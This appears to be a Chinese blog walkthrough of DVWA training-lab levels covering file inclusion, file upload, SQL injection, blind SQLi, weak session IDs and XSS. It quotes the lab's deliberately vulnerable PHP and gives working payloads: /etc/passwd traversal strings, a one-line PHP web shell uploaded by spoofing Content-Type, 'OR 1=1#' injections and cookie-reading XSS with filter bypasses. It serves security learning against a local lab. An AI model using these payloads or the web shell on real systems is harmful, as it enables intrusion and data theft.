<p>想要通过验证就必须保证在http请求中Referer字段中必须包含Host<br>我们这需要把上面的攻击页面名字改成包含host就可以了。(把攻击页面放在服务器上)</p>
<h1 id="文件包含"><a href="#文件包含" class="headerlink" title="文件包含"></a>文件包含</h1><h2 id="easy模式-3"><a href="#easy模式-3" class="headerlink" title="easy模式"></a>easy模式</h2><p>某些Web应用程序允许用户指定直接用于文件流的输入或允许用户将文件上载到服务器。稍后Web应用程序访问Web应用程序上下文中的用户提供的输入。通过这样做Web应用程序允许潜在的恶意文件执行。<br>如果选择要包含的文件在目标计算机上是本地的则称为“本地文件包含LFI。但是文件也可以包含在其他计算机上然后攻击是”远程文件包含RFI<br>当RFI不是一种选择时。使用LFI的另一个漏洞例如文件上传和目录遍历通常可以达到同样的效果。<br>注意,术语“文件包含”与“任意文件访问”或“文件公开”不同。<br>只使用文件包含来阅读’../hackable/flags/fi.php中的所有五个着名引号。<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php</span><br><span class="line"></span><br><span class="line">// The page we wish to display</span><br><span class="line">$file = $_GET[ &apos;page&apos; ];</span><br><span class="line"></span><br><span class="line">?&gt;</span><br></pre></td></tr></table></figure></p>
<p>文件包含漏洞的一般特征如下:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">?page=a.php</span><br><span class="line"></span><br><span class="line">?home=a.html</span><br><span class="line"></span><br><span class="line">?file=content</span><br></pre></td></tr></table></figure></p>
<p>几种经典的测试方法:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">?file=../../../../../etc/passwdd</span><br><span class="line">?page=file:///etc/passwd</span><br><span class="line">?home=main.cgi</span><br><span class="line">?page=http://www.a.com/1.php</span><br><span class="line">=http://1.1.1.1/../../../../dir/file.txt</span><br><span class="line">(通过多个../可以让目录回到根目录中然后再进入目标目录)</span><br></pre></td></tr></table></figure></p>
<h2 id="medium模式-3"><a href="#medium模式-3" class="headerlink" title="medium模式"></a>medium模式</h2><p>增加对绝对路径http和相对路径的检查<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">// Input validation</span><br><span class="line">$file = str_replace( array( &quot;http://&quot;, &quot;https://&quot; ), &quot;&quot;, $file );</span><br><span class="line">$file = str_replace( array( &quot;../&quot;, &quot;..\&quot;&quot; ), &quot;&quot;, $file );</span><br></pre></td></tr></table></figure></p>
<p>但依然可以使用?page=file:///etc/passwd<br>以及重复字符过滤方法,构造url</p>
<ol>
<li>构造url为 httphttp:// &gt; http</li>
<li>构造url为 httphttp://:// &gt;http://</li>
<li>构造url为 …/./ &gt; ../</li>
</ol>
<h1 id="文件上传"><a href="#文件上传" class="headerlink" title="文件上传"></a>文件上传</h1><h2 id="easy模式-4"><a href="#easy模式-4" class="headerlink" title="easy模式"></a>easy模式</h2><blockquote>
<p>上传的文件对Web应用程序构成重大风险。许多攻击的第一步是将一些代码提供给系统进行攻击。然后攻击者只需要找到一种方法来执行代码。使用文件上传有助于攻击者完成第一步。<br>不受限制的文件上载的后果可能会有所不同,包括完整的系统接管,过载的文件系统,向后端系统转发攻击以及简单的污损。这取决于应用程序对上传文件的作用,包括存储位置。<br>由于此文件上载漏洞请在目标系统上执行您选择的任何PHP函数例如phpinfo或system</p>
</blockquote>
<p>一句话木马1.php文件<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php</span><br><span class="line">echo shell_exec($_GET[&apos;cmd&apos;]);</span><br><span class="line">?&gt;</span><br></pre></td></tr></table></figure></p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>( <span class="keyword">isset</span>( $_POST[ <span class="string">'Upload'</span> ] ) ) &#123;</span><br><span class="line"> <span class="comment">// Where are we going to be writing to?</span></span><br><span class="line"> $target_path = DVWA_WEB_PAGE_TO_ROOT . <span class="string">"hackable/uploads/"</span>;</span><br><span class="line"> $target_path .= basename( $_FILES[ <span class="string">'uploaded'</span> ][ <span class="string">'name'</span> ] );</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Can we move the file to the upload folder?</span></span><br><span class="line"> <span class="keyword">if</span>( !move_uploaded_file( $_FILES[ <span class="string">'uploaded'</span> ][ <span class="string">'tmp_name'</span> ], $target_path ) ) &#123;</span><br><span class="line"> <span class="comment">// No</span></span><br><span class="line"> <span class="keyword">echo</span> <span class="string">'&lt;pre&gt;Your image was not uploaded.&lt;/pre&gt;'</span>;</span><br><span class="line"> &#125;</span><br><span class="line"> <span class="keyword">else</span> &#123;</span><br><span class="line"> <span class="comment">// Yes!</span></span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"&lt;pre&gt;&#123;$target_path&#125; succesfully uploaded!&lt;/pre&gt;"</span>;</span><br><span class="line"> &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>
<h2 id="medium模式-4"><a href="#medium模式-4" class="headerlink" title="medium模式"></a>medium模式</h2><p>增加了对文件类型和大小的过滤,只允许图片上传<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">// File information</span><br><span class="line">$uploaded_name = $_FILES[ &apos;uploaded&apos; ][ &apos;name&apos; ];</span><br><span class="line">$uploaded_type = $_FILES[ &apos;uploaded&apos; ][ &apos;type&apos; ];</span><br><span class="line">$uploaded_size = $_FILES[ &apos;uploaded&apos; ][ &apos;size&apos; ];</span><br><span class="line"></span><br><span class="line">// Is it an image?</span><br><span class="line">if( ( $uploaded_type == &quot;image/jpeg&quot; || $uploaded_type == &quot;image/png&quot; ) &amp;&amp;</span><br><span class="line"> ( $uploaded_size &lt; 100000 ) ) &#123;</span><br></pre></td></tr></table></figure></p>
<p>用burpsuite拦截修改Content-Type: application/octet-stream为Content-Type: image/jpeg。成功上传<br><a href="http://192.168.31.84:81/hackable/uploads/1.php?cmd=ls" target="_blank" rel="noopener">http://192.168.31.84:81/hackable/uploads/1.php?cmd=ls</a></p>
<h1 id="SQL注入"><a href="#SQL注入" class="headerlink" title="SQL注入"></a>SQL注入</h1><h2 id="easy模式-5"><a href="#easy模式-5" class="headerlink" title="easy模式"></a>easy模式</h2><blockquote>
<p>SQL注入攻击包括通过从客户端到应用程序的输入数据插入或“注入”SQL查询。成功的SQL注入攻击可以从数据库中读取敏感数据修改数据库数据插入/更新/删除对数据库执行管理操作如关闭DBMS恢复DBMS文件中存在的给定文件的内容systemload_file在某些情况下向操作系统发出命令。<br>SQL注入攻击是一种注入攻击其中SQL命令被注入到数据平面输入中以便实现预定义的SQL命令。<br>这种攻击也可称为“SQLi”。</p>
</blockquote>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php</span><br><span class="line"></span><br><span class="line">if( isset( $_REQUEST[ &apos;Submit&apos; ] ) ) &#123;</span><br><span class="line"> // Get input</span><br><span class="line"> $id = $_REQUEST[ &apos;id&apos; ];</span><br><span class="line"></span><br><span class="line"> // Check database</span><br><span class="line"> $query = &quot;SELECT first_name, last_name FROM users WHERE user_id = &apos;$id&apos;;&quot;;</span><br><span class="line"> $result = mysqli_query($GLOBALS[&quot;___mysqli_ston&quot;], $query ) or die( &apos;&lt;pre&gt;&apos; . ((is_object($GLOBALS[&quot;___mysqli_ston&quot;])) ? mysqli_error($GLOBALS[&quot;___mysqli_ston&quot;]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . &apos;&lt;/pre&gt;&apos; );</span><br><span class="line"></span><br><span class="line"> // Get results</span><br><span class="line"> while( $row = mysqli_fetch_assoc( $result ) ) &#123;</span><br><span class="line"> // Get values</span><br><span class="line"> $first = $row[&quot;first_name&quot;];</span><br><span class="line"> $last = $row[&quot;last_name&quot;];</span><br><span class="line"></span><br><span class="line"> // Feedback for end user</span><br><span class="line"> echo &quot;&lt;pre&gt;ID: &#123;$id&#125;&lt;br /&gt;First name: &#123;$first&#125;&lt;br /&gt;Surname: &#123;$last&#125;&lt;/pre&gt;&quot;;</span><br><span class="line"> &#125;</span><br><span class="line"></span><br><span class="line"> mysqli_close($GLOBALS[&quot;___mysqli_ston&quot;]);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">?&gt;</span><br></pre></td></tr></table></figure>
<p>在做查询操作时,未对$id做任何限制直接传入了sql语句造成字符型注入</p>
<p>原SELECT语句<br><code>SELECT first_name, last_name FROM users WHERE user_id = &#39;$id&#39;;</code><br>中的$id可以任意输入。<br>当输入$id=123 OR 1=1#时SELECT语句变成了<br><code>SELECT first_name, last_name FROM users WHERE user_id = &#39;123&#39; OR 1=1#&#39;;</code><br>此时最后一个引号被#注释同时1=1永远返回TRUE这就导致所有用户的姓名泄露。<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">ID: 123&apos; OR 1=1#</span><br><span class="line">First name: admin</span><br><span class="line">Surname: admin</span><br><span class="line">ID: 123&apos; OR 1=1#</span><br><span class="line">First name: Gordon</span><br><span class="line">Surname: Brown</span><br><span class="line">ID: 123&apos; OR 1=1#</span><br><span class="line">First name: Hack</span><br><span class="line">Surname: Me</span><br><span class="line">ID: 123&apos; OR 1=1#</span><br><span class="line">First name: Pablo</span><br><span class="line">Surname: Picasso</span><br><span class="line">ID: 123&apos; OR 1=1#</span><br><span class="line">First name: Bob</span><br><span class="line">Surname: Smith</span><br></pre></td></tr></table></figure></p>
<p>那如果想要得到密码该怎么做UNION 操作符用于合并两个或多个 SELECT 语句的结果集我们可以这样构造id<br><code>$id=123&#39; or 1=1# union SELECT first_name,password FROM</code><br>但貌似表里没有password<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">users</span><br><span class="line">ID: 123&apos; or 1=1# union SELECT first_name,password FROM users</span><br><span class="line">First name: admin</span><br><span class="line">Surname: admin</span><br><span class="line">ID: 123&apos; or 1=1# union SELECT first_name,password FROM users</span><br><span class="line">First name: Gordon</span><br><span class="line">Surname: Brown</span><br><span class="line">ID: 123&apos; or 1=1# union SELECT first_name,password FROM users</span><br><span class="line">First name: Hack</span><br><span class="line">Surname: Me</span><br><span class="line">ID: 123&apos; or 1=1# union SELECT first_name,password FROM users</span><br><span class="line">First name: Pablo</span><br><span class="line">Surname: Picasso</span><br><span class="line">ID: 123&apos; or 1=1# union SELECT first_name,password FROM users</span><br><span class="line">First name: Bob</span><br><span class="line">Surname: Smith</span><br></pre></td></tr></table></figure></p>
<h2 id="medium模式-5"><a href="#medium模式-5" class="headerlink" title="medium模式"></a>medium模式</h2><p>前端只能选择,前源码过滤了字符<br><code>$id = mysqli_real_escape_string($GLOBALS[&quot;___mysqli_ston&quot;], $id);</code><br>其中受影响的字符如下:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">\x00</span><br><span class="line">\n</span><br><span class="line">\r</span><br><span class="line">\</span><br><span class="line">&apos;</span><br><span class="line">&quot;</span><br><span class="line">\x1a</span><br></pre></td></tr></table></figure></p>
<p>但由于其为字符型注入,因此防御手段形同虚设<br>构造id=1 or 1=1#即得到所有用户信息</p>
<h1 id="SQL盲注"><a href="#SQL盲注" class="headerlink" title="SQL盲注"></a>SQL盲注</h1><blockquote>
<p>盲注与一般注入的区别在于一般的注入攻击者可以直接从页面上看到注入语句的执行结果而盲注时攻击者通常是无法从显示页面上获取执行结果甚至连注入语句是否执行都无从得知因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注。<br>1.判断是否存在注入,注入是字符型还是数字型<br>2.猜解当前数据库名<br>3.猜解数据库中的表名<br>4.猜解表中的字段名<br>5.猜解数据</p>
</blockquote>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>( <span class="keyword">isset</span>( $_GET[ <span class="string">'Submit'</span> ] ) ) &#123;</span><br><span class="line"> <span class="comment">// Get input</span></span><br><span class="line"> $id = $_GET[ <span class="string">'id'</span> ];</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Check database</span></span><br><span class="line"> $getid = <span class="string">"SELECT first_name, last_name FROM users WHERE user_id = '$id';"</span>;</span><br><span class="line"> $result = mysqli_query($GLOBALS[<span class="string">"___mysqli_ston"</span>], $getid ); <span class="comment">// Removed 'or die' to suppress mysql errors</span></span><br><span class="line"></span><br><span class="line"> <span class="comment">// Get results</span></span><br><span class="line"> $num = @mysqli_num_rows( $result ); <span class="comment">// The '@' character suppresses errors</span></span><br><span class="line"> <span class="keyword">if</span>( $num &gt; <span class="number">0</span> ) &#123;</span><br><span class="line"> <span class="comment">// Feedback for end user</span></span><br><span class="line"> <span class="keyword">echo</span> <span class="string">'&lt;pre&gt;User ID exists in the database.&lt;/pre&gt;'</span>;</span><br><span class="line"> &#125;</span><br><span class="line"> <span class="keyword">else</span> &#123;</span><br><span class="line"> <span class="comment">// User wasn't found, so the page wasn't!</span></span><br><span class="line"> header( $_SERVER[ <span class="string">'SERVER_PROTOCOL'</span> ] . <span class="string">' 404 Not Found'</span> );</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Feedback for end user</span></span><br><span class="line"> <span class="keyword">echo</span> <span class="string">'&lt;pre&gt;User ID is MISSING from the database.&lt;/pre&gt;'</span>;</span><br><span class="line"> &#125;</span><br><span class="line"></span><br><span class="line"> ((is_null($___mysqli_res = mysqli_close($GLOBALS[<span class="string">"___mysqli_ston"</span>]))) ? <span class="keyword">false</span> : $___mysqli_res);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>
<p>查看源码发现还是没有对id做过滤但是它不会返回错误信息只会告诉你User ID exists in the database.以及User ID is MISSING from the database.</p>
<p>盲注分为基于布尔的盲注、基于时间的盲注以及基于报错的盲注。<br>如果手工盲注的话需要对sql语法相当熟悉。类似<br><a href="https://www.freebuf.com/articles/web/120985.html" target="_blank" rel="noopener">https://www.freebuf.com/articles/web/120985.html</a><br>如果自动盲注的话可以使用sqlmap来完成类似<br><a href="https://www.jianshu.com/p/ec2ca79e74b2" target="_blank" rel="noopener">https://www.jianshu.com/p/ec2ca79e74b2</a></p>
<h1 id="弱session-id"><a href="#弱session-id" class="headerlink" title="弱session-id"></a>弱session-id</h1><h2 id="easy模式-6"><a href="#easy模式-6" class="headerlink" title="easy模式"></a>easy模式</h2><p>session-ID通常是在登录后作为特定用户访问站点所需的唯一内容如果能够计算或轻易猜到该会话ID则攻击者将有一种简单的方法来获取访问权限。无需知道账户密码或查找其他漏洞如跨站点脚本。</p>
<p>根据源码可以看出来session每次加1<br><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line">$html = <span class="string">""</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> ($_SERVER[<span class="string">'REQUEST_METHOD'</span>] == <span class="string">"POST"</span>) &#123;</span><br><span class="line"> <span class="keyword">if</span> (!<span class="keyword">isset</span> ($_SESSION[<span class="string">'last_session_id'</span>])) &#123;</span><br><span class="line"> $_SESSION[<span class="string">'last_session_id'</span>] = <span class="number">0</span>;</span><br><span class="line"> &#125;</span><br><span class="line"> $_SESSION[<span class="string">'last_session_id'</span>]++;</span><br><span class="line"> $cookie_value = $_SESSION[<span class="string">'last_session_id'</span>];</span><br><span class="line"> setcookie(<span class="string">"dvwaSession"</span>, $cookie_value);</span><br><span class="line">&#125;</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure></p>
<p>按f12看application-cookies也能发现这个规律。<br>然后使用hackbar这个扩展程序攻击。</p>
<h2 id="medium模式-6"><a href="#medium模式-6" class="headerlink" title="medium模式"></a>medium模式</h2><p>从源码中可以看到dvwaSession就是时间戳<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php</span><br><span class="line"></span><br><span class="line">$html = &quot;&quot;;</span><br><span class="line"></span><br><span class="line">if ($_SERVER[&apos;REQUEST_METHOD&apos;] == &quot;POST&quot;) &#123;</span><br><span class="line"> $cookie_value = time();</span><br><span class="line"> setcookie(&quot;dvwaSession&quot;, $cookie_value);</span><br><span class="line">&#125;</span><br><span class="line">?&gt;</span><br></pre></td></tr></table></figure></p>
<h1 id="基于DOM的XSS"><a href="#基于DOM的XSS" class="headerlink" title="基于DOM的XSS"></a>基于DOM的XSS</h1><h2 id="easy模式-7"><a href="#easy模式-7" class="headerlink" title="easy模式"></a>easy模式</h2><blockquote>
<p>“跨站点脚本XSS”攻击是一种注入问题其中恶意脚本被注入到其他良性和可信赖的网站中。当攻击者使用Web应用程序将恶意代码通常以浏览器端脚本的形式发送给不同的最终用户时就会发生XSS攻击。允许这些攻击成功的缺陷非常普遍并且发生在使用输出中的用户输入的Web应用程序的任何地方而不验证或编码它。</p>
<p>攻击者可以使用XSS将恶意脚本发送给毫无戒心的用户。最终用户的浏览器无法知道该脚本不应该被信任并将执行JavaScript。因为它认为脚本来自可靠来源所以恶意脚本可以访问您的浏览器保留并与该站点一起使用的任何cookie会话令牌或其他敏感信息。这些脚本甚至可以重写HTML页面的内容。</p>
<p>基于DOM的XSS是一个特殊情况反映了JavaScript隐藏在URL中并在呈现时由页面中的JavaScript拉出而不是在服务时嵌入页面中。这可能使其比其他攻击更隐蔽并且正在阅读页面主体的WAF或其他保护措施看不到任何恶意内容。</p>
</blockquote>
<p>查看页面源代码<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">&lt;script&gt;</span><br><span class="line"> if (document.location.href.indexOf(&quot;default=&quot;) &gt;= 0) &#123;</span><br><span class="line"> var lang = document.location.href.substring(document.location.href.indexOf(&quot;default=&quot;)+8);</span><br><span class="line"> document.write(&quot;&lt;option value=&apos;&quot; + lang + &quot;&apos;&gt;&quot; + decodeURI(lang) + &quot;&lt;/option&gt;&quot;);</span><br><span class="line"> document.write(&quot;&lt;option value=&apos;&apos; disabled=&apos;disabled&apos;&gt;----&lt;/option&gt;&quot;);</span><br><span class="line"> &#125;</span><br><span class="line"></span><br><span class="line"> document.write(&quot;&lt;option value=&apos;English&apos;&gt;English&lt;/option&gt;&quot;);</span><br><span class="line"> document.write(&quot;&lt;option value=&apos;French&apos;&gt;French&lt;/option&gt;&quot;);</span><br><span class="line"> document.write(&quot;&lt;option value=&apos;Spanish&apos;&gt;Spanish&lt;/option&gt;&quot;);</span><br><span class="line"> document.write(&quot;&lt;option value=&apos;German&apos;&gt;German&lt;/option&gt;&quot;);</span><br><span class="line">&lt;/script&gt;</span><br></pre></td></tr></table></figure></p>
<ul>
<li>indexOf() 方法可返回某个指定的字符串值在字符串中首次出现的位置。</li>
<li>substring() 方法用于提取字符串中介于两个指定下标之间的字符。</li>
<li>decodeURI() 函数可对 encodeURI() 函数编码过的 URI 进行解码</li>
<li>所以lang被赋值为”default=”之后的字串如果插入js代码插入的 javascript 代码可以在 decodeURL(lang) 被执行</li>
</ul>
<p><code>http://192.168.31.84:81/vulnerabilities/xss_d/?default=English&lt;script&gt;alert(document.cookie)&lt;/script&gt;</code><br>这个uri被用户点击之后会被弹窗但是在chrome测试了很多次都不行firefox就可以</p>
<h2 id="medium模式-7"><a href="#medium模式-7" class="headerlink" title="medium模式"></a>medium模式</h2><p>相对于easy模式增加了对script的过滤<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"># Do not allow script tags</span><br><span class="line">if (stripos ($default, &quot;&lt;script&quot;) !== false) &#123;</span><br><span class="line"> header (&quot;location: ?default=English&quot;);</span><br><span class="line"> exit;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></p>
<p>绕过有两种方式</p>
<ol>
<li>方式1<br>url中有一个字符为#,该字符后的数据不会发送到服务器端,从而绕过服务端过滤<br><code>http://192.168.31.84:81/vulnerabilities/xss_d/?default=English#&lt;script&gt;alert(document.cookie)&lt;/script&gt;</code></li>
<li>方法2<br>或者就是用img标签或其他标签的特性去执行js代码比如img标签的onerror事件构造连接(通过加载一个不存在的图片出错出发javascript onerror事件,继续弹框证明出来有xss)<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"># 反射型xss</span><br><span class="line">## easy模式</span><br><span class="line">&gt; 反射型非持久主要用于将恶意代码附加到URL地址的参数中常用于窃取客户端cookie信息和钓鱼欺骗。</span><br><span class="line"></span><br><span class="line">查看源码,服务器直接把客户端的输入返回回来显示</span><br><span class="line">```php</span><br><span class="line">&lt;?php</span><br><span class="line"></span><br><span class="line">header (&quot;X-XSS-Protection: 0&quot;);</span><br><span class="line"></span><br><span class="line">// Is there any input?</span><br><span class="line">if( array_key_exists( &quot;name&quot;, $_GET ) &amp;&amp; $_GET[ &apos;name&apos; ] != NULL ) &#123;</span><br><span class="line"> // Feedback for end user</span><br><span class="line"> echo &apos;&lt;pre&gt;Hello &apos; . $_GET[ &apos;name&apos; ] . &apos;&lt;/pre&gt;&apos;;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">?&gt;</span><br></pre></td></tr></table></figure>
</li>
</ol>
<p><a href="http://192.168.31.84:81/vulnerabilities/xss_r/?name=%3Cscript%3Ealert(%27xss%27)%3C/script%3E" target="_blank" rel="noopener">http://192.168.31.84:81/vulnerabilities/xss_r/?name=%3Cscript%3Ealert(%27xss%27)%3C/script%3E</a></p>
<h2 id="medium模式-8"><a href="#medium模式-8" class="headerlink" title="medium模式"></a>medium模式</h2><p>源码里检查了script标签<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">// Get input</span><br><span class="line"> $name = str_replace( &apos;&lt;script&gt;&apos;, &apos;&apos;, $_GET[ &apos;name&apos; ] );</span><br></pre></td></tr></table></figure></p>
<p>str_replace这个函数是不区分大小写的而且只替换一次<br>改成大写就可以了<code>&lt;SCRIPT&gt;alert(&#39;xss&#39;)&lt;/script&gt;</code><br>或者嵌套<code>&lt;scr&lt;script&gt;ipt&gt;alert(&#39;xss&#39;)&lt;/script&gt;</code></p>
<p>但对name审查没有这么严格同样可以采用嵌套或大小写的方法<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">&lt;scr&lt;script&gt;ipt&gt;alert(&apos;fuck&apos;)&lt;/script&gt;</span><br><span class="line">&lt;SCRIPT&gt;alert(&apos;fuck&apos;)&lt;/script&gt;</span><br></pre></td></tr></table></figure></p>
<h1 id="存储型xss"><a href="#存储型xss" class="headerlink" title="存储型xss"></a>存储型xss</h1><h2 id="easy模式-8"><a href="#easy模式-8" class="headerlink" title="easy模式"></a>easy模式</h2><blockquote>
<p>“跨站点脚本XSS”攻击是一种注入问题其中恶意脚本被注入到其他良性和可信赖的网站中。当攻击者使用Web应用程序将恶意代码通常以浏览器端脚本的形式发送给不同的最终用户时就会发生XSS攻击。允许这些攻击成功的缺陷非常普遍并且发生在使用输出中的用户输入的Web应用程序的任何地方而不验证或编码它。</p>
<p>攻击者可以使用XSS将恶意脚本发送给毫无戒心的用户。最终用户的浏览器无法知道该脚本不应该被信任并将执行JavaScript。因为它认为脚本来自可靠来源所以恶意脚本可以访问您的浏览器保留并与该站点一起使用的任何cookie会话令牌或其他敏感信息。这些脚本甚至可以重写HTML页面的内容。</p>
<p>XSS存储在数据库中。 XSS是永久性的直到重置数据库或手动删除有效负载。</p>
</blockquote>
<p>查看源码<br>trim是去除掉用户输入内容前后的空格。stripslashes是去除反斜杠两个只会去除一个。mysqli_real_escap_string过滤掉内容中特殊字符像x00,n,r,,,”,x1a等来预防数据库攻击。<br><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>( <span class="keyword">isset</span>( $_POST[ <span class="string">'btnSign'</span> ] ) ) &#123;</span><br><span class="line"> <span class="comment">// Get input</span></span><br><span class="line"> $message = trim( $_POST[ <span class="string">'mtxMessage'</span> ] );</span><br><span class="line"> $name = trim( $_POST[ <span class="string">'txtName'</span> ] );</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Sanitize message input</span></span><br><span class="line"> $message = stripslashes( $message );</span><br><span class="line"> $message = ((<span class="keyword">isset</span>($GLOBALS[<span class="string">"___mysqli_ston"</span>]) &amp;&amp; is_object($GLOBALS[<span 